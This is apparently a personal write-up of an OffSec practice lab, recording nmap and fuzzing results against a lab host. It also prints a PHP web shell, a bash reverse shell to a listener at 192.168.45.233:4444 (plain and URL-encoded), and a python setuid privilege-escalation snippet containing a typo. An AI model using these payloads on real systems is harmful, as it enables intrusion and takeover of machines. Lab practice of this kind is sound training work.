OffSec · Lab
EasyLinuxWebPrivilege EscalationPassword Attacks

IP: 192.168.203.83

set ip 192.168.203.83
set url http://192.168.203.83

Nmap basic

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
7080/tcp open  empowerid
8088/tcp open  radan-http
8715/tcp open  unknown

Nmap Services

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           vsftpd 3.0.3
22/tcp   open  ssh           OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 89:4f:3a:54:01:f8:dc:b6:6e:e0:78:fc:60:a6:de:35 (RSA)
|   256 dd:ac:cc:4e:43:81:6b:e3:2d:f3:12:a1:3e:4b:a3:22 (ECDSA)
|_  256 cc:e6:25:c0:c6:11:9f:88:f6:c4:26:1e:de:fa:e9:8b (ED25519)
80/tcp   open  http          Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Katana X
7080/tcp open  ssl/empowerid LiteSpeed
| tls-alpn: 
|   h2
|   spdy/3
|   spdy/2
|_  http/1.1
|_http-title: Did not follow redirect to https://192.168.203.83:7080/
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=katana/organizationName=webadmin/countryName=US
| Not valid before: 2020-05-11T13:57:36
|_Not valid after:  2022-05-11T13:57:36
|_http-server-header: LiteSpeed
8088/tcp open  http          LiteSpeed httpd
|_http-title: Katana X
|_http-server-header: LiteSpeed
8715/tcp open  http          nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Restricted Content
|_http-title: 401 Authorization Required
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

ftp/21

no anon login

http/80

SCR-20260909-jcpk.png

Fuzzd dirs

Target: http://192.168.203.83:80/FUZZ/
Total requests: 62281

=====================================================================
ID           Response   Lines    Word       Chars       Payload        
=====================================================================

000001525:   200        95 L     272 W      3998 Ch     "ebook"

/ebook

SCR-20260909-jisa.png

The admin login accepts random password for user admin

SCR-20260909-jiyb.png

The Add new book function seems broken.

SCR-20260909-jjoe.png

Possible SQLi

http://192.168.203.83/ebook/bookPerPub.php?pubid=1'

Can’t retrieve any columns tho.

https/7080

SCR-20260909-jcqr.png

http/8088

SCR-20260909-jcuh.png

Fuzzd dirs

Target: http://192.168.203.83:8088/FUZZ/
Total requests: 62281

=====================================================================
ID           Response   Lines    Word       Chars       Payload        
=====================================================================

000000077:   200        114 L    310 W      5472 Ch     "docs"

Fuzzd files

Target: http://192.168.203.83:8088/FUZZ
Total requests: 37050

=====================================================================
ID           Response   Lines    Word       Chars       Payload        
=====================================================================

000000069:   200        23 L     73 W       655 Ch      "index.html"   
000000279:   200        494 L    2892 W     50828 Ch    "phpinfo.php"  
000000396:   200        35 L     202 W      1800 Ch     "upload.php"   
000000567:   200        11 L     25 W       195 Ch      "error404.html"
000001712:   200        198 L    531 W      6480 Ch     "upload.html"

/upload.html

SCR-20260909-jykc.png

uploaded cmd.php

<pre>
<?php
echo passthru($_GET['cmd']);
?>
</pre>

SCR-20260909-jyqy.png

Important note

SCR-20260909-jzba.png

WIN. Vector moved to $URL:8715

SCR-20260909-jztk.png

http/8715

SCR-20260909-jcxo.png

Vector from :8088

SCR-20260909-jzxl.png

Vector

image.png

bash -c 'bash -i >& /dev/tcp/192.168.45.233/4444 0>&1'
bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.233%2F4444%200%3E%261'
http://192.168.203.83:8715/katana_cmd.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.233%2F4444%200%3E%261%27

SCR-20260909-kcso.png

Privesc python 2.7

SCR-20260909-kewc.png

run payload in python

import os

os.setuid(0)
os.system("/bin/bas/")

SCR-20260909-khbk.png